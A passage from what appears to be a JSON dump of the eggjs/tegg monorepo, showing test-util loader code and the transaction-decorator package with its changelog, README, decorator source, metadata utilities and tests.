string;\n    }[],\n    optional = false,\n  ): GlobalModuleNode {\n    const builder = GlobalModuleNodeBuilder.create(modulePath, optional);\n    for (const clazz of clazzList) {\n      builder.addClazz(clazz);\n    }\n    for (const { clazz, unitPath, moduleName } of multiInstanceClazzList) {\n      builder.addMultiInstanceClazz(clazz, moduleName, unitPath);\n    }\n    return builder.build();\n  }\n\n  static async buildGlobalGraph(modulePaths: string[], hooks?: GlobalGraphBuildHook[]): Promise<void> {\n    GlobalGraph.instance = new GlobalGraph();\n    for (const hook of hooks ?? []) {\n      GlobalGraph.instance.registerBuildHook(hook);\n    }\n    const multiInstanceEggProtoClass: {\n      clazz: any;\n      unitPath: string;\n      moduleName: string;\n    }[] = [];\n    for (let i = 0; i < modulePaths.length; i++) {\n      const modulePath = modulePaths[i];\n      const loader = LoaderFactory.createLoader(modulePath, EggLoadUnitType.MODULE);\n      const clazzList = await loader.load();\n      const moduleName = ModuleConfigUtil.readModuleNameSync(modulePath);\n      for (const clazz of clazzList) {\n        if (PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n          multiInstanceEggProtoClass.push({\n            clazz,\n            unitPath: modulePath,\n            moduleName,\n          });\n        }\n      }\n    }\n    for (let i = 0; i < modulePaths.length; i++) {\n      const modulePath = modulePaths[i];\n      const loader = LoaderFactory.createLoader(modulePath, EggLoadUnitType.MODULE);\n      const clazzList = await loader.load();\n      const eggProtoClass: EggProtoImplClass[] = [];\n      for (const clazz of clazzList) {\n        if (PrototypeUtil.isEggPrototype(clazz)) {\n          eggProtoClass.push(clazz);\n        }\n      }\n      GlobalGraph.instance.addModuleNode(\n        LoaderUtil.buildModuleNode(modulePath, eggProtoClass, multiInstanceEggProtoClass),\n      );\n    }\n    GlobalGraph.instance.build();\n    GlobalGraph.instance.sort();\n  }\n}\n"
  },
  {
    "path": "tegg/core/test-util/src/TestLoader.ts",
    "content": "import path from 'node:path';\n\nimport type { EggProtoImplClass } from '@eggjs/core-decorator';\nimport type { Loader } from '@eggjs/metadata';\nimport globby from 'globby';\n\nimport { LoaderUtil } from './LoaderUtil.ts';\n\nexport class TestLoader implements Loader {\n  private readonly moduleDir: string;\n\n  constructor(moduleDir: string) {\n    this.moduleDir = moduleDir;\n  }\n\n  async load(): Promise<EggProtoImplClass[]> {\n    const protoClassList: EggProtoImplClass[] = [];\n    const files = globby.sync(['**/*', '!**/node_modules', '!**/*.d.ts'], {\n      cwd: this.moduleDir,\n    });\n    for (const file of files) {\n      const realPath = path.join(this.moduleDir, file);\n      const protoClazz = await LoaderUtil.loadFile(realPath);\n      if (!protoClazz) {\n        continue;\n      }\n      protoClassList.push(protoClazz);\n    }\n    return protoClassList;\n  }\n}\n"
  },
  {
    "path": "tegg/core/test-util/src/index.ts",
    "content": "export * from './LoaderUtil.ts';\nexport * from './TestLoader.ts';\nexport * from './EggTestContext.ts';\nexport * from './CoreTestHelper.ts';\n"
  },
  {
    "path": "tegg/core/test-util/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"CoreTestHelper\": [Function],\n  \"EggContextStorage\": [Function],\n  \"EggTestContext\": [Function],\n  \"LoaderUtil\": [Function],\n  \"TestLoader\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/test-util/test/index.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as types from '../src/index.ts';\n\ntest('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/test-util/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/test-util/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/transaction-decorator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n\n### Features\n\n* 事务注解增加数据源选项 ([#135](https://github.com/eggjs/tegg/issues/135)) ([c33b3b5](https://github.com/eggjs/tegg/commit/c33b3b5ec9d32a8c6675d986013042f0cb8e4370))\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-transaction-decorator\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n\n### Features\n\n* impl transaction decorator ([#124](https://github.com/eggjs/tegg/issues/124)) ([4896615](https://github.com/eggjs/tegg/commit/4896615af951bbff940cda7abc116df40ed486e5))\n"
  },
  {
    "path": "tegg/core/transaction-decorator/README.md",
    "content": "# @eggjs/transaction-decorator\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/transaction-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/transaction-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/transaction-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/transaction-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/transaction-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/transaction-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/transaction-decorator\n\n事务注解\n\n## Usage\n\n### 传播机制\n\n```ts\nexport class Foo {\n  @Transactional({ propagation: PropagationType.ALWAYS_NEW })\n  async bar() {\n    await this.foo();\n  }\n\n  @Transactional({ propagation: PropagationType.REQUIRED })\n  async foo(msg) {\n    console.log('has msg: ', msg);\n  }\n}\n```\n\n### 数据源\n\n```ts\nexport class Bar {\n  @Transactional({ dataSourceName: 'xx' })\n  async bar() {\n    await this.foo();\n  }\n}\n```\n\nFoo.bar 始终会在一个独立的事务中执行，而 Foo.foo 会在 Foo.bar 的事务中执行\n"
  },
  {
    "path": "tegg/core/transaction-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/transaction-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg transaction decorator\",\n  \"keywords\": [\n    \"decorator\",\n    \"egg\",\n    \"tegg\",\n    \"transaction\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/transaction-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"qile222 <chhxxc@gmail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/transaction-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/transaction-decorator/src/builder/TransactionMetaBuilder.ts",
    "content": "import type { EggProtoImplClass, TransactionMetadata } from '@eggjs/tegg-types';\n\nimport { TransactionMetadataUtil } from '../util/index.ts';\n\nexport class TransactionMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  build(): TransactionMetadata[] {\n    if (!TransactionMetadataUtil.isTransactionClazz(this.clazz)) {\n      return [];\n    }\n    return TransactionMetadataUtil.getTransactionMetadataList(this.clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/transaction-decorator/src/builder/index.ts",
    "content": "export * from './TransactionMetaBuilder.ts';\n"
  },
  {
    "path": "tegg/core/transaction-decorator/src/decorator/Transactional.ts",
    "content": "import { PropagationType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, TransactionalParams } from '@eggjs/tegg-types';\n\nimport { TransactionMetadataUtil } from '../util/index.ts';\n\nexport function Transactional(params?: TransactionalParams) {\n  const propagation = params?.propagation || PropagationType.REQUIRED;\n  if (!Object.values(PropagationType).includes(propagation)) {\n    throw new Error(`unknown propagation type ${propagation}`);\n  }\n  const datasourceName = params?.datasourceName;\n\n  return function (target: any, propertyKey: PropertyKey): void {\n    const constructor: EggProtoImplClass = target.constructor;\n    TransactionMetadataUtil.setIsTransactionClazz(constructor);\n    TransactionMetadataUtil.addTransactionMetadata(constructor, {\n      propagation,\n      method: propertyKey,\n      datasourceName,\n    });\n  };\n}\n"
  },
  {
    "path": "tegg/core/transaction-decorator/src/decorator/index.ts",
    "content": "export * from './Transactional.ts';\n"
  },
  {
    "path": "tegg/core/transaction-decorator/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/transaction';\n\nexport * from './builder/index.ts';\nexport * from './decorator/index.ts';\nexport * from './util/index.ts';\n"
  },
  {
    "path": "tegg/core/transaction-decorator/src/util/TransactionMetadataUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport {\n  IS_TRANSACTION_CLAZZ,\n  TRANSACTION_META_DATA,\n  type TransactionMetadata,\n  type EggProtoImplClass,\n} from '@eggjs/tegg-types';\n\nexport class TransactionMetadataUtil {\n  static setIsTransactionClazz(clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(IS_TRANSACTION_CLAZZ, true, clazz);\n  }\n\n  static isTransactionClazz(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.getBooleanMetaData(IS_TRANSACTION_CLAZZ, clazz);\n  }\n\n  static addTransactionMetadata(clazz: EggProtoImplClass, data: TransactionMetadata): void {\n    const list = MetadataUtil.initOwnArrayMetaData<TransactionMetadata>(TRANSACTION_META_DATA, clazz, []);\n    list.push(data);\n  }\n\n  static getTransactionMetadataList(clazz: EggProtoImplClass): TransactionMetadata[] {\n    return MetadataUtil.getArrayMetaData<TransactionMetadata>(TRANSACTION_META_DATA, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/transaction-decorator/src/util/index.ts",
    "content": "export * from './TransactionMetadataUtil.ts';\n"
  },
  {
    "path": "tegg/core/transaction-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"IS_TRANSACTION_CLAZZ\": Symbol(EggPrototype#IS_TRANSACTION_CLAZZ),\n  \"PropagationType\": {\n    \"ALWAYS_NEW\": \"ALWAYS_NEW\",\n    \"REQUIRED\": \"REQUIRED\",\n  },\n  \"TRANSACTION_META_DATA\": Symbol(EggPrototype#transaction#metaData),\n  \"TransactionMetaBuilder\": [Function],\n  \"TransactionMetadataUtil\": [Function],\n  \"Transactional\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/transaction-decorator/test/builder/TransactionMetaBuilder.test.ts",
    "content": "import { PropagationType } from '@eggjs/tegg-types';\nimport { it, assert } from 'vitest';\n\nimport { TransactionMetadataUtil, TransactionMetaBuilder, Transactional } from '../../src/index.ts';\nimport { Foo, Bar, FooBar, BarFoo } from '../fixtures/transaction.ts';\n\nit('should build meta data success', () => {\n  assert.ok(TransactionMetadataUtil.isTransactionClazz(Foo));\n\n  const fooBuilder = new TransactionMetaBuilder(Foo);\n  assert.deepStrictEqual(fooBuilder.build(), [\n    {\n      propagation: PropagationType.REQUIRED,\n      method: 'defaultPropagation',\n      datasourceName: undefined,\n    },\n    {\n      propagation: PropagationType.REQUIRED,\n      method: 'requiredPropagation',\n      datasourceName: 'testDatasourceName1',\n    },\n    {\n      propagation: PropagationType.ALWAYS_NEW,\n      method: 'alwaysNewPropagation',\n      datasourceName: undefined,\n    },\n  ]);\n\n  assert.ok(TransactionMetadataUtil.isTransactionClazz(Bar));\n  const barBuilder = new TransactionMetaBuilder(Bar);\n  assert.deepStrictEqual(barBuilder.build(), [\n    {\n      propagation: PropagationType.REQUIRED,\n      method: 'foo',\n      datasourceName: 'datasourceName2',\n    },\n    {\n      propagation: PropagationType.ALWAYS_NEW,\n      method: 'bar',\n      datasourceName: undefined,\n    },\n  ]);\n\n  assert.ok(TransactionMetadataUtil.isTransactionClazz(FooBar));\n  const fooBarBuilder = new TransactionMetaBuilder(FooBar);\n  assert.deepStrictEqual(fooBarBuilder.build(), [\n    {\n      propagation: PropagationType.ALWAYS_NEW,\n      method: 'foo',\n      datasourceName: undefined,\n    },\n  ]);\n\n  const barFooBuilder = new TransactionMetaBuilder(BarFoo);\n  assert.ok(!TransactionMetadataUtil.isTransactionClazz(BarFoo));\n  assert.deepStrictEqual(barFooBuilder.build(), []);\n\n  assert.throws(() => {\n    Transactional({ propagation: 'xx' as PropagationType });\n  }, /unknown propagation type xx/);\n});\n"
  },
  {
    "path": "tegg/core/transaction-decorator/test/fixtures/transaction.ts",
    "content": "import { PropagationType } from '@eggjs/tegg-types';\n\nimport { Transactional } from '../../src/index.ts';\n\nexport class Foo {\n  @Transactional()\n  async defaultPropagation(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n\n  @Transactional({\n    datasourceName: 'testDatasourceName1',\n  })\n  async requiredPropagation(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n\n  @Transactional({ propagation: PropagationType.ALWAYS_NEW })\n  async alwaysNewPropagation(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n}\n\nexport class Bar {\n  @Transactional({ datasourceName: 'datasourceName2' })\n  async foo(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n\n  @Transactional({ propagation: PropagationType.ALWAYS_NEW })\n  async bar(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n}\n\nexport class FooBar {\n  @Transactional({ propagation: PropagationType.ALWAYS_NEW })\n  async foo(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n}\n\nexport class BarFoo {\n  async foo(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n}\n"
  },
  {
    "path": "tegg/core/transaction-decorator/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/transaction-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/transaction-decorator/tsdown.config.ts",
